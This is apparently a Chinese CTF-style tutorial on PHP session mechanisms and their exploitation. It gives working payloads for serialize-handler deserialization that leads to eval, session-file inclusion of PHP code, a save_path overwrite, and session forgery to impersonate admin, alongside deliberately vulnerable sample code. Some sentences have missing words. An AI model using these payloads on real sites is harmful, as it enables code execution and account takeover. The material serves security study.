您的位置  > 互联网

PHP概念:会话控制用户会话的应用程序

概念:一般称为会话控制。 该对象存储特定用户会话所需的属性和配置信息。 这样,当用户在应用程序的网页之间跳转时,存储在对象中的变量不会丢失,而是在整个用户会话期间持续存在。 当用户从应用程序请求网页时,如果用户还没有会话,则 Web 服务器会自动创建一个对象。 当会话过期或被放弃时,服务器将终止该会话。

PHP概念:PHP是一个特殊的变量,用于存储有关用户会话的信息,或更改用户会话的设置。 变量保存的信息是单用户的,并且可供应用程序中的所有页面使用。 它为每个访问者创建一个唯一的 ID (UID),并根据此 UID 存储变量。 UID存储在URL中或通过URL传输。

0x1.2 会话进程

当启动会话时,PHP 将尝试从请求中查找会话 ID(通常通过会话)。 如果请求不包含会话ID信息,PHP将创建一个新会话。 会话启动后,PHP会将会话中的数据设置到$变量中。 当PHP停止时,它会自动读取$的内容,将其序列化,然后发送到会话保存管理器进行保存。

默认情况下,PHP使用内置的文件会话保存管理器(文件)来完成会话保存。 您还可以通过配置项修改要使用的会话保存管理器。 对于文件会话保存管理器,会话数据将保存到配置项指定的位置。

可以通过调用 () 手动启动会话。 如果是配置项。 设置为 1,会话将在请求开始时自动启动。 PHP脚本执行后,会话自动关闭。 同时,也可以通过调用()来手动关闭会话。

0x1.3 常用配置

在PHP安装目录下找到php.ini文件。 该文件的主要作用是对PHP进行一些配置。

session.save_handler = files #session的存储方式
session.save_path = "/var/lib/php/session" #session id存放路径
session.use_cookies= 1 #使用cookies在客户端保存会话
session.use_only_cookies = 1 #去保护URL中传送session id的用户
session.name = PHPSESSID #session名称(默认PHPSESSID)
session.auto_start = 0 #不启用请求自动初始化session
session.use_trans_sid = 0 #如果客户端禁用了cookie,可以通过设置session.use_trans_sid来使标识的交互方式从cookie变为url传递
session.cookie_lifetime = 0 #cookie存活时间(0为直至浏览器重启,单位秒)
session.cookie_path = / #cookie的有效路径
session.cookie_domain = #cookie的有效域名
session.cookie_httponly = #httponly标记增加到cookie上(脚本语言无法抓取)
session.serialize_handler = php #PHP标准序列化
session.gc_maxlifetime =1440 #过期时间(默认24分钟,单位秒)

0x1.4 存储引擎

PHP中的内容默认以文件的形式存储。 存储方式由配置项决定。 默认以文件的形式存储。

存储的文件以此命名,文件内容为值的序列化内容。

.引擎,除了默认使用的序列化引擎外,除了默认的PHP引擎外,还有其他引擎,并且不同的引擎有不同的存储方式。

.有如下三个值:

PHP中默认使用PHP引擎。 如果想改成其他引擎,只需要添加代码('.', '需要设置的引擎')。 示例代码如下:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
// do something

以下面代码为例,查看不同存储引擎存储的结果。

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');//这里换不同的存储引擎
session_start();
$_SESSION['username'] = $_GET['username'];
?>

php

使用 0x2.1 反序列化

当网站序列化和存储数据的方式与反序列化和读取数据的方式不同时,可能会导致反序列化漏洞。 一般是序列化存储,在PHP中反序列化读取,造成反序列化攻击。

0x2.1.1有$赋值

例子

s1.php

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["username"]=$_GET["u"];
?>

s2.php

<?php
session_start();
class session {
var $var;
function __destruct() {
eval($this->var);
}
}
?>

s1.php使用存储引擎,s2.php使用php存储引擎(页面中没有设置存储引擎,默认值为php.ini中设置的值,默认为php)

我们可以将以下参数传递给s1.php

s1.php?u=|O:7:"session":1:{s:3:"var";s:10:"phpinfo();";}

此时使用存储引擎进行序列化,存储的内容为

然后访问s2.php,使用php存储引擎反序列化,结果

这是因为在使用php引擎时,php引擎会使用| 作为键和值之间的分隔符,则 a:1:{s:8:"";s:47:" 将用作键,O:7:"":1:{s:3:"var ";s:10:"();";}";} 作为值,然后反序列化。

为什么访问s2.php时会反序列化?可以查看官方文档

如果值字符串不符合“正常”的反序列化字符串规则,难道不会报错吗? 这里提到的一个特点是,在执行过程中,如果字符串前面满足可反序列化的规则,则后面的不规则字符将被忽略。

0x2.1.2 没有$赋值

上面的例子可以直接给$赋值。 那么当代码中没有给$赋值时我们该怎么办呢?

查看官方文档,我们可以看到PHP中还有一种机制,可以在$中创建键值对,其值是可以控制的。

以OJ平台上的问题为例

环境地址::32784/

索引.php

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

有一个.php文件,所以可以看出..是On,. 与index.php页面使用的PHP存储引擎不同,存在反序列化攻击。

..name是,可以在本地创建form.html,一个向index.php提交POST请求的表单文件,包含变量。

表单.html

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
form>

使用bp抓包并添加| 以及值 123 之后的序列化字符串。

查看根目录文件

查看根目录路径

读取标志

0x2.2文件包含

使用条件:文件包含存在,文件路径已知,文件内容可控。

该文件的路径可以从

或者猜测一下

/var/lib/php/sessions/sess_PHPSESSIONID
/var/lib/php[\d]/sessions/sess_PHPSESSIONID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

示例1:

.php

<?php
session_start();
$_SESSION["username"]=$_GET['s'];
?>

.php

<?php
include $_GET['i'];
?>

将一句话传递给.php并将其写入文件中

session.php?s=<?php phpinfo(); ?>

中值是,即存储的文件名,路径可以猜一下,这里是/var/lib/php//

.php 文件包含存储文件

/include.php?i=/var/lib/php/sessions/sess_k82hb2gbrj7daoncpogvlbrbcp

示例2:

-

这是代码的一小部分

.php

<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('open_basedir', '/var/www/html:/tmp');


$func=isset($_GET['function'])?$_GET['function']:'filters';
call_user_func($func,$_GET);

if(isset($_GET['file'])){
include $_GET['file'];
}

session_start();
$_SESSION['name']=$_POST['name'];
?>

这里的设置限制了我们可以读取的文件范围。 这里的文件保存在/var/lib/php//下,不在读取范围内。 您可以考虑修改文件的存储位置。

()函数从PHP7开始增加了参数,会覆盖php.ini中的配置。

利用覆盖 php.ini 文件中默认配置的值并写入

http://192.168.1.101/bestphp.php/?function=session_start&save_path=/var/www/html 
post: name=<?=phpinfo();?>

文件包含成功

其实这个操作也可以通过()函数来完成,但是这个函数传入的参数是字符串,不适用于本题。

0x2.3 用户伪造

使用条件:了解所使用的PHP存储引擎,文件内容可控。

这里以2020年胡服杯为例

索引.php

 <?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(../|..\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(../|..\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
?>

这是一个具有上传和下载文件功能的文件。 只有当 $[''] ==='admin' 时才能获取该标志。 我们可以下载并查看该文件使用的存储引擎,然后使用相同的存储引擎冒充admin,上传文件,并获取flag。

首先下载文件,文件名为

http://192.168.100.16/index.php 

post:direction=download&filename=sess_qq7ucpov7ulvt1qsji3pueea2i

可以看到使用的内容是:

<0x08>usernames:5:"guest";

猜猜我们只需要上传一个包含以下内容的文件:

<0x08>usernames:5:"admin";

发现如果不上传attr参数,则上传的文件名+“_”。(“”,$['']['']); 会直接拼接。 如果上传的文件名设置为sess且不传attr参数,则可以得到/var//,可以作为文件使用。

()是根据文件内容得到的hash值

在本地创建一个名为 sess 的文件:

上传sess文件

计算哈希值

文件名为,尝试下载访问,如下图,已上传成功。

现在唯一的区别是.txt。 您可以将attr参数设置为.txt,将.txt转为目录,从而绕过限制。

然后改成a5a4即可获取flag